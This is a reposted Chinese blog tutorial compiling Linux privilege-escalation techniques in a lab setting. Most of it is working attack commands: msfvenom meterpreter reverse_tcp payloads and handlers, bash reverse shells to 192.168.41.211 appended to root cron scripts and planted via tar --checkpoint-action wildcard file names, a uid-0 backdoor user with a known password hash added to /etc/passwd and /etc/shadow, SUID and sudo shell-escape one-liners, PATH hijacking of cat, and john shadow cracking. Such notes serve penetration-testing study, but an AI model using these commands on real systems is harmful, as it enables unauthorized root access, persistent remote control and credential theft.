0


【Web】超级详细的Linux权限提升一站式笔记

一、Linux内核提权

提权原理

内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节:
1、对目标系统进行信息收集,获取到系统内核信息以及版本信息;
2、根据内核版本获取其对应的漏洞以及EXP;
3、使用找到的EXP对目标系统发起攻击,完成提权操作

查看Linux操作系统的内核版本和相关信息

cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本

EXP怎么找呢,可以是用kali去寻找,kali中自带searchsploit命令可以查找EXP

输入 searchsploit -m 50808.c 就会自动复制该文件到当前目录

去互联网搜索该脚本的用法和相关的文档

提权环境

本次实验使用Ubuntu 20.04,内核版本是5.10版本的

提权复现

使用MSF上线机器

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run

查看操作系统

cat /etc/issue
cat /etc/*-release

查看可以利用的内核版本提权漏洞

searchsploit linux 5.10.10

将脚本进行复制并且只用GCC进行编译,或者使用百度搜索相关的文档进行使用

二、SUID提权

SUID介绍

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的

注意以下几点:

  1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
  2. 命令执行者要对该程序文件拥有执行(x)权限.
  3. 命令执行者在执行该程序时获得该程序文件属主的身份.
  4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置

SUID提权原理

原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令
常见的可以用来提权的命令如下:

nmap
vim
find
bash
more
less
nano
cp
awk
mv

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

提权介绍

find提权

介绍

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用
SUID权限运行,则可以通过find执行的命令都将以root身份去运行

步骤

1.查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用find提权

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit

bash提权

介绍

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行

步骤

1.查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用bash提权

bash -p

vim提权

介绍

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

步骤

1.查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用vim提权

第一种方式,利用vim添加账号

vim /etc/passwd 添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

第二种,利用vim打开交互shell

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

python提权

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

三、计划任务提权

提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

计划任务的格式

分 时 日 月 周 用户 命令

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下

find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件

linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限

提权环境

先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数

function bash_os() {
# "系统基础信息"
#内核信息
kernel=$(uname -r)
#操作系统版本
release=$(cat /etc/redhat-release)
#主机名称
hostname=$HOSTNAME
#当前时间及运行时间
dateload=$(uptime | awk -F "," '{print $1}')
# 当前登录用户数
users=$(uptime | awk -F "," '{print $2}')
echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|内核信息:\033[31m $kernel \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
}
bash_os

该脚本运行后的内容写到 /tmp/bash_os.txt文件中

将文件的权限设置成777 chmod 777 bash_os.sh

将文件设置成计划任务,输入 vim /cat/cronta 进行编辑,编辑内容如下

分 时 日 月 周 用户 命令
*/1 * * * * root /bash_os.sh
service crond status 查看计划任务启动
service crond restart 重启计划任务

提权步骤

我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run

查询计划任务,发现存在一个sh文件并且是root运行的

接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

输入反弹shell的命令,在sh文件中进行追加

echo "bash -i >& /dev/tcp/192.168.41.211/9876 0>&1" >> /bash_os.sh

使用NC接收等待反弹shell的连接,得到root权限

四、环境变量劫持提权

提权原理

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

echo $PATH #查看环境变量

如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的

提权环境

假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置

#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}

然后使用gcc进行编译

gcc demo.c -o shell

运行 shell 命令就是打开shadow文件

赋予shell文件SUID权限

chmod u+s shell

接下来就可以进行提权了

提权实验

首先上线机器

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run

接下来用命令查找SUID文件,发现一个shell文件被配置了SUID

find / -user root -perm -4000 -print 2>/dev/null

运行shell文件,发现是查看/etc/shadow的命令

那么我们劫持cat命令,达到提权的目的

echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/shell
whoami

五、SUDO提权

提权原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etcsudoers中进行操作。
具体的格式如下

cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get

cseroad表示用户名
第一个 ALL 指示允许从任何终端访问sudo
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
这里要注意了添加的命令一定要写在最后一行


但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令,而这两条命令都需要一定权限或者知道当前用户密码

如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen

提权的命令如下

一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh

提权环境

使用root用户配置/etc/sudoer配置文件,设置普通用户可以运行任意命令

提权复现

使用CS或者MSF或者webshell上线机器

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run

使用sudo -l 查看,发现awk可以无密码进行使用

接下来使用命令进行提权

sudo awk 'BEGIN {system("/bin/sh")}'

六、利用通配符(WS)进行提权

提权原理

* 代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]

看一下什么是Wildcard wildness(简称WS)

echo "1" > file1
echo "2" >file2
echo "3" > --help

接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是--help查看不了,直接调出了--help的命令,这种类型的技巧称为Wildcard wildness。

如果我们执行 ls * 那么就会执行 ls --help

如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子,tar命令是Linux中的压缩命令,可以对文件进行压缩

tar -czf html.tgz 1.html 将文件1.html文件压缩成html.tgz

也可以使用通配符进行压缩

tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz

在tar中有执行linux命令的参数如下

tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了

echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=whoami

接着运行

tar -czf html.tgz *

提权环境

一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务,如果滥用了通配符,就可能导致提权

*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*

提权复现

老样子先上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run

查看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权

在/var/www/html下创建两个文件如下

echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.41.211/8888 0>&1" > /var/www/html/shell.sh

使用NC进行监听,等待sh脚本被执行,连接NC

七、破解明文密码提权

提权原理

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的,当管理员的passwd和shadow一些权限配置不当就可能会导致提权

提权环境

主要是查看当前的shadow文件是否可以读取,有以下几种方式

1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限

提权复现

这里主要说一下root的账号密码怎么破解即可

john -wordlist=2.txt + shadow.txt


本文转载自: https://blog.csdn.net/uuzeray/article/details/136098183
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】超级详细的Linux权限提升一站式笔记”的评论:

还没有评论